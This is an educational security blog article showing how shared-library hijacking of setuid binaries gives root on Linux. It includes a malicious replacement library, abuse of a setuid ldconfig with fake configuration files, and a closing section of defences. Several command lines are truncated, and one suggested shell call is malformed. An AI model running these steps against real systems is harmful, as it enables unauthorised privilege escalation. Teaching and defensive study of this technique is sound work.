Linux Privilege Escalation: Abusing shared libraries

Nov 21, 2018 • BoiteAKlou #Article #Pwning #Pentest

Linux applications often use dynamically linked shared object libraries. These libraries allow code flexibility but they have their drawbacks… In this article, we will study the weaknesses of shared libraries and how to exploit them in many different ways. Each exploit will be illustrated by a concrete example, which should make you understand how to reproduce it. I'll give recommendations on how to protect your system against it in the final part of the article.

Table of Contents

Disclaimer

I won't describe here the full details of how libraries work in Linux, my goal is to

give you the necessary amount of information so you can understand the exploit and be able to reproduce it.

Shared Libraries in short

A library is **a file containing data or compiled code** that is used by developers to avoid re-writing the same pieces of code you use in multiple programs (modular programming). It can contain classes, methods or data structures and will be linked to the program that will use it at the compilation time.

There are different types of libraries in Linux:

- Static libraries (**.a** extension)
- Dynamically linked shared object libraries (**.so** extension)

Static libraries will become part of the application so they will be **unalterable** once the compilation done. Every running program has its own copy of the library, which won't be interesting for us.

Dynamic libraries can be used in two ways:

- Dynamic linking (dynamically linked at run time).
- Dynamic loading (dynamiclly loaded and user under program control).

They seem much more attractive because of their dynamic nature. If we manage to **alter the content of a dynamic library**, we should be able to control the execution of the calling program and that's what we want!

For that reason, we will focus on **dynamic linking** in this article.

Dynamic Linking in Linux

Since these libraries are dynamically linked to the program, we have to specify their location so the Operating System will know where to look for when the program is executed.

`ld` is the GNU linker. Its man page gives us the following methods for specifying the location of dynamic libraries:

1. Using **-rpath** or **-rpath-link** options when compiling the application.
2. Using the environment variable **LD_RUN_PATH**.
3. Using the environment variable **LD_LIBRARY_PATH**.

4. Using the value of **DT_RUNPATH** or **DT_PATH**, set with **-rpath** option.
5. Putting libraries in default **/lib** and **/usr/lib** directories.
6. Specifying a directory containing our libraries in **/etc/ld.so.conf**.

As an attacker, our objective is to control one of these methods in order to replace an existing dynamic library by a malicious one. By default, security measures have been put in place in Linux. However, we will see that there are so many ways to make this exploit possible…

Find a vulnerable application

Since we want to escalate privileges, it is mandatory to find an executable file with **setuid bit** enable. This bit allows anyone to execute the program with the same permissions as the file's owner.

We can find those files using the following command:

```
$ find / -type f -perm -u=s 2>/dev/null | xargs ls -l
```

We combine it to `ls -l` so we can check that the file's owner is root.

```
boiteaklou@LAB-Blog:~/Abusing-Shared-Libraries$ find / -type f -
-rwsr-xr-x 1 root   root        30112 Jul 12  2016 /bin/fusermou
-rwsr-xr-x 1 root   root        34812 May 16  2018 /bin/mount
-rwsr-xr-x 1 root   root       157424 Jan 28  2017 /bin/ntfs-3g
-rwsr-xr-x 1 root   root        38932 May  7  2014 /bin/ping
-rwsr-xr-x 1 root   root        43316 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root   root        38900 May 17  2017 /bin/su
-rwsr-xr-x 1 root   root        26492 May 16  2018 /bin/umount
-rwsr-sr-x 1 root   root          387 Jan 15  2018 /sbin/ldconfi
-rwsr-sr-x 1 root   root       831936 Jan 15  2018 /sbin/ldconfi
-rwsr-sr-x 1 daemon daemon      50748 Jan 14  2016 /usr/bin/at
-rwsr-xr-x 1 root   root        48264 May 17  2017 /usr/bin/chfr
-rwsr-xr-x 1 root   root        39560 May 17  2017 /usr/bin/chsh
-rwsr-xr-x 1 root   root        78012 May 17  2017 /usr/bin/gpas
-rwsr-sr-x 1 root   root         7376 Nov 18 22:03 /usr/bin/myex
-rwsr-xr-x 1 root   root        36288 May 17  2017 /usr/bin/newg
-rwsr-xr-x 1 root   root        34680 May 17  2017 /usr/bin/newg
-rwsr-xr-x 1 root   root        36288 May 17  2017 /usr/bin/newu
-rwsr-xr-x 1 root   root        53128 May 17  2017 /usr/bin/pass
```

```
-rwsr-xr-x 1 root   root        18216 Jul 13 15:47 /usr/bin/pkex
-rwsr-xr-x 1 root   root       159852 Jul  4  2017 /usr/bin/sudo
-rwsr-xr-- 1 root   messagebus  46436 Jan 12  2017 /usr/lib/dbus
-rwsr-xr-x 1 root   root         5480 Mar 27  2017 /usr/lib/ejec
-rwsr-xr-x 1 root   root        42396 Jun 14  2017 /usr/lib/i386
-rwsr-xr-x 1 root   root       513528 Jan 18  2018 /usr/lib/oper
-rwsr-xr-x 1 root   root        13960 Jul 13 15:47 /usr/lib/poli
-rwsr-sr-x 1 root   root       105004 Jul 19 13:22 /usr/lib/snap
```

The file `/usr/bin/myexec` has the setuid bit enabled and is owned by root. *(By the way, this specific program caught our attention because it's the only unknown program of the list. If you have any doubt on an application, google should help you find out if it's a regular linux application or not.)*

Is there any chance that `/usr/bin/myexec` uses **shared objects**? Let's check this with `ldd` :

```
boiteaklou@LAB-Blog:~/Abusing-Shared-Libraries$ ldd /usr/bin/mye
        linux-gate.so.1 =>  (0xb779b000)
        libcustom.so => /usr/lib/libcustom.so (0xb778e000)   # L
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d8000)
        /lib/ld-linux.so.2 (0xb779c000)
```

We can see **libcustom.so**, which looks pretty custom (Oh really?). This executable file gathers all the pre-requisites. However, we still need to find a way to inject our malicious dynamic library.

But can we exploit it?

As always when it comes to privilege escalation, **everything starts from a misconfiguration**. From the moment we find a setuid file using shared objects, there are at least 4 possible misconfigurations that could lead to privilege escalation. I'll detail here the three working exploits that I've already seen on a machine. To those detailed below, you can add the **RPATH** technique, which is very similar to the second method I present: LD_PRELOAD and LD_LIBRARY_PATH.

For the need of the examples you'll find below, I've created the setuid ELF executable **myexec** linked with the dynamic library **libcustom.so**.

```
# myexec.c

#include <stdio.h>
#include "libcustom.h"

int main(){
    printf("Welcome to my amazing application!\n");
    say_hi();
    return 0;
}
```

```
# libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void say_hi(){
    printf("Hello buddy!\n\n");
}
```

But also an evil library that we will try to inject in place of the real libcustom.so:

```
# evil libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void say_hi(){
    setuid(0);
    setgid(0);
    printf("I'm the bad library\n");
}
```

This one is only printing a different output but be sure that if we manage to execute this code, we could obviously pop a shell with `system("/bin/sh",NULL,NULL);`.

Now let's see which configuration mistakes we could exploit…

1. Write permissions on /lib or /usr/lib

Even though this one seems pretty unlikely, it could happen that a user has **write permissions** on one these folders. In that case, the attacker could easily **craft a malicious libcustom library** and place it into **/lib** or **/usr/lib**. Of course, he would have deleted the original library first.

When executing `/usr/bin/myexec`, the malicious library will be called instead.

2. LD_PRELOAD and LD_LIBRARY_PATH

I decided to present this technique as it's a must-known, even though it won't work in our case 😆. Let me explain why.

LD_LIBRARY_PATH and **LD_PRELOAD** are environment variables. The first one allows you to indicate an **additionnal directory to search for libraries** and the second specifies a library which will be loaded prior to any other library when the program gets executed.

These variables modify the environment of the current user, but when you execute a setuid program, it is done in the context of the owner, which hasn't necessarily set LD_LIBRARY_PATH or LD_PRELOAD. Let me show you an example.

I've created 2 executables: 1 with setuid bit enabled and 1 without.

```
boiteaklou@LAB-Blog:~/Abusing-Shared-Libraries$ ls -l /usr/bin/m
-rwsr-sr-x 1 root root 7376 Nov 18 22:03 /usr/bin/myexec
-rwxr-xr-x 1 root root 7376 Nov 19 20:18 /usr/bin/myexec2
```

LD_PRELOAD

Using the **LD_PRELOAD** technique with the evil library on **myexec2** (without setuid bit), we have the following output:

```
boiteaklou@LAB-Blog:~/Abusing-Shared-Libraries$ LD_PRELOAD=/tmp/
Welcome to my amazing application!
I'm the bad library
```

With the same technique on **myexec**:

```
boiteaklou@LAB-Blog:~/Abusing-Shared-Libraries$ LD_PRELOAD=/tmp/
Welcome to my amazing application!
```

```
Hello buddy!
```

We can see that it's working when the setuid bit isn't enabled for the reasons explained above.

LD_LIBRARY_PATH

Let's check the behavior of **myexec** and **myexec2** when using LD_LIBRARY_PATH:

```
boiteaklou@LAB-Blog:/tmp$ export LD_LIBRARY_PATH=/tmp/evil/
boiteaklou@LAB-Blog:/tmp$ ldd /usr/bin/myexec
        linux-gate.so.1 =>  (0xb770f000)
        libcustom.so => /tmp/evil/libcustom.so (0xb7708000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb754c000)
        /lib/ld-linux.so.2 (0xb7710000)
boiteaklou@LAB-Blog:/tmp$ ldd /usr/bin/myexec2
        linux-gate.so.1 =>  (0xb77a1000)
        libcustom.so => /tmp/evil/libcustom.so (0xb779a000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75de000)
        /lib/ld-linux.so.2 (0xb77a2000)
```

You can see that the **libcustom.so** linked with these two programs is the evil one. However, when we run them, we have the following output:

```
boiteaklou@LAB-Blog:/tmp$ /usr/bin/myexec
Welcome to my amazing application!
Hello buddy!

boiteaklou@LAB-Blog:/tmp$ /usr/bin/myexec2
Welcome to my amazing application!
I'm the bad library
```

Certain security measures have been put in place to avoid this kind of exploits but there was a time where it was possible and I think this is a pretty interesting mechanism to understand.

3. Setuid bit on ldconfig

`ldconfig` is used to create, udpate and remove symbolic links for the current shared libraries based on the lib directories present in **/etc/ld.so.conf**. This

application has no setuid bit enabled by default but if an unconscious administrator sets it, he is exposing himself to some serious issues.

/etc/ld.so.conf is a configuration file pointing to other configuration files that will help the linker to locate libraries.

```
boiteaklou@LAB-Blog:~$ cat /etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf
```

Inside **/etc/ld.so.conf.d/**, you can have several files with each of them specifying a directory to explore when searching for libraries. For example, **libc.conf** contains the following:

```
boiteaklou@LAB-Blog:/etc/ld.so.conf.d$ cat libc.conf
# libc default configuration
/usr/local/lib
```

If a hazardous administrator creates a configuration file, which adds a world-writable directory (i.e. **/tmp**) to the group of directories being checked by the linker, an attacker could place its malicious library here.

It won't be sufficient for our exploit though! We now need to use **ldconfig** to update the linker's cache so that it will be aware of this new evil library. The cache can be updated with `ldconfig` without specifying any parameter. However, it has to be executed as root… This is where the setuid bit comes into play. Let me show you.

The configuration file from where everything starts:

```
boiteaklou@LAB-Blog:~$ cat /etc/ld.so.conf.d/shouldnt_be_here.cc
/tmp
```

The evil library placed inside /tmp:

```
boiteaklou@LAB-Blog:~$ ls -l /tmp/
total 12
-rwxrwxr-x 1 boiteaklou boiteaklou 7096 Nov 20 11:01 libcustom.s
```

`ldd` output **BEFORE** executing `ldconfig`:

```
boiteaklou@LAB-Blog:~$ ldd /usr/bin/myexec
```

```
        linux-gate.so.1 =>  (0xb7759000)
        libcustom.so => /usr/lib/libcustom.so (0xb774c000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7596000)
        /lib/ld-linux.so.2 (0xb775a000)
```

`ldd` output **AFTER** executing `ldconfig`:

```
boiteaklou@LAB-Blog:~$ ldconfig
boiteaklou@LAB-Blog:~$ ldd /usr/bin/myexec
        linux-gate.so.1 =>  (0xb77c8000)
        libcustom.so => /tmp/libcustom.so (0xb77bb000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7605000)
        /lib/ld-linux.so.2 (0xb77c9000)
```

Now we execute the application…

```
boiteaklou@LAB-Blog:~$ /usr/bin/myexec
Welcome to my amazing application!
I'm the bad library
```

…And the exploit works just fine!

Alternative to /etc/ld.so.conf

What I just showed you is working, but actually, there's even simpler. The configuration file including **/tmp** is not mandatory since we have the setuid bit set on `ldconfig`. Indeed, `ldconfig -f` allows us to use a different configuration file from the existing **/etc/ld.so.conf**.

What we have to do is pretty simple, follow the example.

We create our fake **ld.so.conf**:

```
boiteaklou@LAB-Blog:/tmp$ echo "include /tmp/conf/*" > fake.ld.s
```

Then, we add a configuration file to the location indicated by **fake.ld.so.conf**:

```
boiteaklou@LAB-Blog:/tmp$ echo "/tmp" > conf/evil.conf
```

Finally, we execute `ldconfig` with the -f option:

```
boiteaklou@LAB-Blog:/tmp$ ldconfig -f fake.ld.so.conf
```

And we enjoy the result:

```
boiteaklou@LAB-Blog:/tmp$ ldd /usr/bin/myexec
        linux-gate.so.1 =>  (0xb7761000)
        libcustom.so => /tmp/libcustom.so (0xb7754000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759e000)
        /lib/ld-linux.so.2 (0xb7762000)
boiteaklou@LAB-Blog:/tmp$ /usr/bin/myexec
Welcome to my amazing application!
I'm the bad library
```

Even more straight-forward! 😄

How can we defend against this?

As a general principle, **DO NOT set the setuid bit** on a program if you don't asbolutely control every aspect of its execution, a lot of them can be used in a way that allows privilege escalations.

Another fundamental aspect that shouldn't be left behind is the **management of user permissions**. As we've seen earlier, allowing a user to write inside /usr/lib can lead to severe security issues. If you're a system administrator, ensure that low-privileged users can't write to:

- **/usr/lib** and **/lib**
- Locations specified by **/etc/ld.so.conf**
- If **LD_LIBRARY_PATH** is set by default on your system, the user shouldn't be able to write at the location specified by this variable.

More generally, ensure that every action performed by users are executed with the lowest privileges.

BoiteAKlou 🔨

BoiteAKlou's Infosec Blog

BoiteAKlou
boiteaklou@protonmail.com

BoiteAKlou

Computer security oriented blog held by a french student in IT and Networks. This blog aims at teaching the fundamentals of Cyber Security to beginners through CTF write-ups and didactic articles.